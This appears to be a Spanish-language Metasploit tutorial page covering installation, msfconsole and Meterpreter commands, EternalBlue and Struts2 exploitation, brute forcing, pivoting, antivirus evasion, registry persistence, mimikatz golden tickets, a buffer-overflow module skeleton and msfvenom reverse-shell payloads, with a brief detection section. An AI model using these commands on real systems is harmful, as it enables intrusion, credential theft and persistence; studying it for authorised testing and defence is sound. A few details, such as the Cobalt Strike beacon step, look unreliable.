Metasploit Framework - Plataforma de Explotación
Metasploit Framework - Plataforma de Explotación
Section titled “Metasploit Framework - Plataforma de Explotación”Introducción
Section titled “Introducción”Metasploit Framework es la plataforma de pentesting más popular del mundo, desarrollada por Rapid7. Proporciona información sobre vulnerabilidades de seguridad, ayuda en la validación de penetration testing y gestión de vulnerabilidades.
Instalación y Configuración
Section titled “Instalación y Configuración”Kali Linux (Preinstalado)
Section titled “Kali Linux (Preinstalado)”# Verificar instalaciónmsfconsole --version
# Actualizar Metasploitsudo apt update && sudo apt upgrade metasploit-framework
# Inicializar base de datossudo msfdb initUbuntu/Debian
Section titled “Ubuntu/Debian”# Instalar dependenciassudo apt updatesudo apt install curl wget gnupg2 software-properties-common
# Agregar repositorio de Rapid7curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstallchmod 755 msfinstallsudo ./msfinstall
# Inicializar base de datossudo msfdb initConfiguración de Base de Datos
Section titled “Configuración de Base de Datos”# Verificar estado de la base de datosmsfdb status
# Inicializar base de datos PostgreSQLmsfdb init
# Reiniciar base de datosmsfdb reinit
# Ejecutar con base de datosmsfdb runArquitectura de Metasploit
Section titled “Arquitectura de Metasploit”Componentes Principales
Section titled “Componentes Principales”1. MSFConsole
Section titled “1. MSFConsole”# Iniciar consola principalmsfconsole
# Iniciar con base de datosmsfdb run
# Iniciar silencioso (sin banner)msfconsole -q
# Cargar script al iniciomsfconsole -r script.rc2. Módulos de Metasploit
Section titled “2. Módulos de Metasploit”Exploits
Section titled “Exploits”# Listar todos los exploitsshow exploits
# Buscar exploits específicossearch type:exploit platform:windowssearch cve:2017-0144 # EternalBluesearch name:apache
# Usar un exploituse exploit/windows/smb/ms17_010_eternalbluePayloads
Section titled “Payloads”# Listar payloadsshow payloads
# Payloads compatibles con exploit actualshow payloads
# Usar payload específicoset payload windows/meterpreter/reverse_tcpAuxiliares
Section titled “Auxiliares”# Módulos de escaneo y enumeraciónuse auxiliary/scanner/portscan/tcpuse auxiliary/scanner/smb/smb_versionuse auxiliary/scanner/http/dir_scannerEncoders
Section titled “Encoders”# Listar encodersshow encoders
# Usar encoder específicoset encoder x86/shikata_ga_nai# Generadores de NOPshow nopsComandos Básicos de MSFConsole
Section titled “Comandos Básicos de MSFConsole”Navegación y Ayuda
Section titled “Navegación y Ayuda”# Ayuda generalhelp
# Ayuda de comando específicohelp searchhelp use
# Información del módulo actualinfo
# Mostrar opciones del móduloshow options
# Mostrar opciones avanzadasshow advanced
# Mostrar targets disponiblesshow targetsConfiguración de Módulos
Section titled “Configuración de Módulos”# Establecer opcionesset RHOSTS 192.168.1.100set RPORT 445set LHOST 192.168.1.50set LPORT 4444
# Establecer opciones globalessetg RHOSTS 192.168.1.0/24setg LHOST 192.168.1.50
# Ver configuración actualshow options
# Deshacer configuraciónunset RHOSTSunsetg LHOSTEjecución de Módulos
Section titled “Ejecución de Módulos”# Ejecutar exploitexploit
# Ejecutar en backgroundexploit -j
# Ejecutar auxiliarrun
# Verificar si target es vulnerablecheckMeterpreter - Shell Avanzado
Section titled “Meterpreter - Shell Avanzado”Comandos Básicos
Section titled “Comandos Básicos”# Información del sistemasysinfogetuidgetpid
# Navegación de archivospwdlscd C:\\Windowscat file.txtdownload file.txtupload /local/file.txt C:\\Windows\\file.txtComandos de Red
Section titled “Comandos de Red”# Información de redipconfigroutenetstat
# Port forwardingportfwd add -l 3389 -p 3389 -r 192.168.1.100portfwd listportfwd delete -l 3389Comandos de Proceso
Section titled “Comandos de Proceso”# Listar procesosps
# Migrar a otro procesomigrate 1234
# Ejecutar comandos del sistemaexecute -f cmd.exe -i -H
# Crear procesoexecute -f notepad.exeComandos de Escalación
Section titled “Comandos de Escalación”# Obtener privilegios SYSTEMgetsystem
# Robar tokenssteal_token 1234
# Cargar módulos adicionalesload incognitoload mimikatzload kiwiScripts de Automatización
Section titled “Scripts de Automatización”Script RC Básico
Section titled “Script RC Básico”# basic_scan.rcuse auxiliary/scanner/portscan/tcpset RHOSTS 192.168.1.0/24set PORTS 21,22,23,25,53,80,110,443,993,995run
use auxiliary/scanner/smb/smb_versionset RHOSTS 192.168.1.0/24run
use auxiliary/scanner/http/http_versionset RHOSTS 192.168.1.0/24runExplotación Automatizada
Section titled “Explotación Automatizada”# auto_exploit.rcuse exploit/windows/smb/ms17_010_eternalblueset payload windows/meterpreter/reverse_tcpset LHOST 192.168.1.50set LPORT 4444set RHOSTS file:/tmp/targets.txtexploit -jScript de Post-Explotación
Section titled “Script de Post-Explotación”#!/usr/bin/env python3import subprocessimport time
def run_meterpreter_commands(): commands = [ "sysinfo", "getuid", "ps", "netstat", "route", "hashdump", "screenshot" ]
for cmd in commands: print(f"[+] Ejecutando: {cmd}") # Aquí iría la lógica para ejecutar en Meterpreter time.sleep(1)
def persistence(): persistence_commands = [ "run persistence -S -U -X -i 10 -p 4445 -r 192.168.1.50", "run metsvc", "reg setval -k HKLM\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run -v backdoor -d 'C:\\\\windows\\\\system32\\\\backdoor.exe'" ]
for cmd in persistence_commands: print(f"[+] Persistencia: {cmd}")
if __name__ == "__main__": run_meterpreter_commands() persistence()Casos de Uso Específicos
Section titled “Casos de Uso Específicos”1. Explotación de SMB (EternalBlue)
Section titled “1. Explotación de SMB (EternalBlue)”# Escanear vulnerabilidaduse auxiliary/scanner/smb/smb_ms17_010set RHOSTS 192.168.1.0/24run
# Explotar EternalBlueuse exploit/windows/smb/ms17_010_eternalblueset payload windows/meterpreter/reverse_tcpset RHOSTS 192.168.1.100set LHOST 192.168.1.50set LPORT 4444exploit
# Post-explotaciónsysinfogetuidgetsystemhashdump2. Explotación Web
Section titled “2. Explotación Web”# Escanear directorios webuse auxiliary/scanner/http/dir_scannerset RHOSTS 192.168.1.100set DICTIONARY /usr/share/metasploit-framework/data/wordlists/directory.txtrun
# Explotar aplicación web vulnerableuse exploit/multi/http/struts2_content_type_ognlset RHOSTS 192.168.1.100set RPORT 8080set TARGETURI /struts2-showcase/set payload linux/x86/meterpreter/reverse_tcpset LHOST 192.168.1.50exploit3. Ataques de Fuerza Bruta
Section titled “3. Ataques de Fuerza Bruta”# SSH Brute Forceuse auxiliary/scanner/ssh/ssh_loginset RHOSTS 192.168.1.100set USERNAME rootset PASS_FILE /usr/share/wordlists/rockyou.txtset THREADS 10run
# SMB Brute Forceuse auxiliary/scanner/smb/smb_loginset RHOSTS 192.168.1.0/24set SMBUser administratorset PASS_FILE /usr/share/wordlists/common_passwords.txtrunTécnicas Avanzadas
Section titled “Técnicas Avanzadas”1. Pivoting y Port Forwarding
Section titled “1. Pivoting y Port Forwarding”# En sesión Meterpreter# Agregar ruta a red internaroute add 10.10.10.0 255.255.255.0 1
# Port forwarding localportfwd add -l 3389 -p 3389 -r 10.10.10.100
# Usar proxy SOCKSuse auxiliary/server/socks_proxyset SRVPORT 1080run -j
# Configurar proxychainsecho "socks4 127.0.0.1 1080" >> /etc/proxychains.confproxychains nmap -sT 10.10.10.0/242. Evasión de AV
Section titled “2. Evasión de AV”# Generar payload con evasiónuse payload/windows/meterpreter/reverse_tcpset LHOST 192.168.1.50set LPORT 4444generate -e x86/shikata_ga_nai -i 10 -f exe -o payload.exe
# Usar template personalizadouse exploit/windows/fileformat/office_word_htaset FILENAME document.docxset LHOST 192.168.1.50set LPORT 4444exploit3. Persistencia Avanzada
Section titled “3. Persistencia Avanzada”# En sesión Meterpreter# Persistencia mediante serviciorun persistence -S -U -X -i 10 -p 4445 -r 192.168.1.50
# Persistencia mediante registrorun metsvc
# Golden ticket (con mimikatz)load kiwigolden_ticket_create -d domain.com -u administrator -s S-1-5-21-... -k aes256_keyDesarrollo de Exploits Personalizados
Section titled “Desarrollo de Exploits Personalizados”Estructura Básica de Exploit
Section titled “Estructura Básica de Exploit”### Exploit personalizado para Metasploit##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {}) super(update_info(info, 'Name' => 'Custom Exploit Example', 'Description' => 'Exploit personalizado de ejemplo', 'Author' => ['Tu Nombre'], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2023-12345'], ['URL', 'https://example.com/vuln'] ], 'Platform' => 'linux', 'Targets' => [ ['Linux x86', { 'Ret' => 0x08048484 }] ], 'Payload' => { 'Space' => 400, 'BadChars' => "\x00\x0a\x0d" }, 'DefaultTarget' => 0, 'DisclosureDate' => '2023-01-01' ))
register_options([ Opt::RPORT(9999) ]) end
def check connect sock.put("TEST\n") response = sock.get_once disconnect
if response && response.include?("Vulnerable App") return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end
def exploit connect
buffer = "A" * 260 buffer << [target.ret].pack('V') buffer << payload.encoded
print_status("Enviando exploit...") sock.put(buffer)
handler disconnect endendHerramientas Complementarias
Section titled “Herramientas Complementarias”MSFVenom (Ya documentado)
Section titled “MSFVenom (Ya documentado)”# Generar payloadsmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o payload.exeArmitage (GUI para Metasploit)
Section titled “Armitage (GUI para Metasploit)”# Instalar Armitagesudo apt install armitage
# Iniciar ArmitagearmitageCobalt Strike Integration
Section titled “Cobalt Strike Integration”# Generar beacon para Cobalt Strikeuse payload/windows/beacon_reverse_tcpset LHOST 192.168.1.50set LPORT 4444generate -f exe -o beacon.exeDetección y Defensa
Section titled “Detección y Defensa”Indicadores de Compromiso
Section titled “Indicadores de Compromiso”# Procesos sospechosos de Meterpreterps aux | grep -E "(meterpreter|msf|metasploit)"
# Conexiones de red sospechosasnetstat -an | grep :4444netstat -an | grep :4445
# Archivos temporalesfind /tmp -name "*.exe" -o -name "*.elf"find /var/tmp -type f -executableContramedidas
Section titled “Contramedidas”# Reglas de firewalliptables -A INPUT -p tcp --dport 4444:4450 -j DROPiptables -A OUTPUT -p tcp --dport 4444:4450 -j DROP
# Detección con YARArule Meterpreter_Payload { strings: $a = "meterpreter" $b = "ReflectiveLoader" $c = "MetSrv.dll" condition: any of them}Mejores Prácticas
Section titled “Mejores Prácticas”Para Pentesters
Section titled “Para Pentesters”-
Preparación:
- Mantener Metasploit actualizado
- Configurar base de datos correctamente
- Usar workspaces para organizar proyectos
-
Ejecución:
- Verificar compatibilidad antes de explotar
- Usar payloads staged para espacios limitados
- Implementar técnicas de evasión
-
Post-Explotación:
- Migrar a procesos estables
- Establecer persistencia múltiple
- Documentar todos los accesos
Para Defensores
Section titled “Para Defensores”-
Monitoreo:
- Supervisar conexiones salientes inusuales
- Detectar patrones de Meterpreter
- Implementar honeypots
-
Prevención:
- Mantener sistemas actualizados
- Configurar firewalls restrictivos
- Usar EDR/AV actualizado
Recursos Adicionales
Section titled “Recursos Adicionales”Documentación Oficial
Section titled “Documentación Oficial”Cursos y Certificaciones
Section titled “Cursos y Certificaciones”- OSCP: Offensive Security Certified Professional
- CEH: Certified Ethical Hacker
- GCPEN: GIAC Penetration Tester
Laboratorios de Práctica
Section titled “Laboratorios de Práctica”- Metasploitable: VM vulnerable oficial
- DVWA: Damn Vulnerable Web Application
- VulnHub: Colección de VMs vulnerables
- HackTheBox: Plataforma de pentesting online
Nota Legal: Metasploit debe usarse únicamente en entornos autorizados para pentesting. El uso no autorizado puede ser ilegal y está prohibido.